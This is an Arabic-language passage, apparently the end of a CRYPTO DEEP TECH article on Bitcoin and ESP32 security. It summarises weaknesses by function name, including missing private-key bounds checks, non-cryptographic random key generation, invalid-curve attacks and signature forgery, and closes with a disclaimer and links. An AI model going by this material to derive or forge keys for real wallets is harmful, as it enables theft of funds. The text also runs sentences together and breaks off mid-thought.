has_invalid_privkey: عدم التحقق من الحد الأدنى للمفاتيح الخاصة للبيتكوين يسمح باستخدام مفاتيح غير صالحة (أقل من أو تساوي 0) مما قد يؤدي إلى فقدان الأموال.electrum_sig_hash: استخدام Electrum لطريقة تجزئة غير قياسية للرسائل يجعلها عرضة لهجمات تزوير التوقيع بسبب عدم توافقها مع BIP-137.random_key (مولد عشوائي ضعيف في توليد المفاتيح): استخدام وحدة التوليد العشوائي random في شبكة البيتكوين يجعل المفاتيح الخاصة قابلة للتنبؤ من قبل المهاجمين، لأن هذه الوحدة ليست مخصصة للأغراض التشفيرية.multiply (عدم التحقق من نقاط منحنى ECC): قد يسمح التحقق غير الكافي من النقاط على منحنى ECC للمهاجم بتنفيذ هجمات المنحنى غير الصالحة، مما قد يؤدي إلى تزوير التوقيعات والتلاعب بالشبكة.ecdsa_raw_sign: يمكن أن يؤدي استعادة إحداثي Y بشكل غير صحيح إلى استبدال المفتاح العام في شبكة البيتكوين.bin_ripemd160: قد تكون واجهات برمجة التطبيقات القديمة للتجزئة، خاصة تلك التي تفتقر إلى RIPEMD-160، عرضة للهجمات، مما يبرز أهمية استخدام مكتبات التشفير الحديثة والتحديثات الأمنية المنتظمة.
random_key و ecdsa_raw_sign على تحسين الأمان العام لشبكة البيتكوين ومنع الهجمات المحتملة على المعاملات والتوقيعات.تسلط عملية تحديد الثغرات وتحليلها المقدمة في هذه الورقة الضوء على الحاجة إلى المراقبة المستمرة وتحسين أمان الأجهزة والبرامج. إن معالجة هذه الثغرات لا تمنع الهجمات المحتملة والخسائر المالية فحسب، بل تساعد أيضًا في بناء ثقة المستخدم والامتثال لمعايير الأمان. يعد تنفيذ آليات حماية قوية وتحديثات أمنية منتظمة أمرًا أساسيًا لضمان تشغيل آمن وموثوق للأنظمة الرقمية. أصبحت الحاجة إلى تحسين الأمان في الأجهزة والشبكات مثل ESP32 أكثر إلحاحًا.
تم إنشاء هذه المواد لبوابة CRYPTO DEEP TECH لضمان أمن البيانات المالية والتشفير على المنحنيات الإهليلجية secp256k1 ضد توقيعات ECDSA الضعيفة في عملة البيتكوين الرقمية. منشئو البرنامج ليسوا مسؤولين عن استخدام المواد.
Telegram: https://t.me/cryptodeeptech
مادة فيديو: https://youtu.be/nBeZWm2z5o4
فيديو تعليمي: https://dzen.ru/video/watch/6784be61b09e46422395c236
المصدر: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks

has_invalid_privkeyللتحقق من privkey.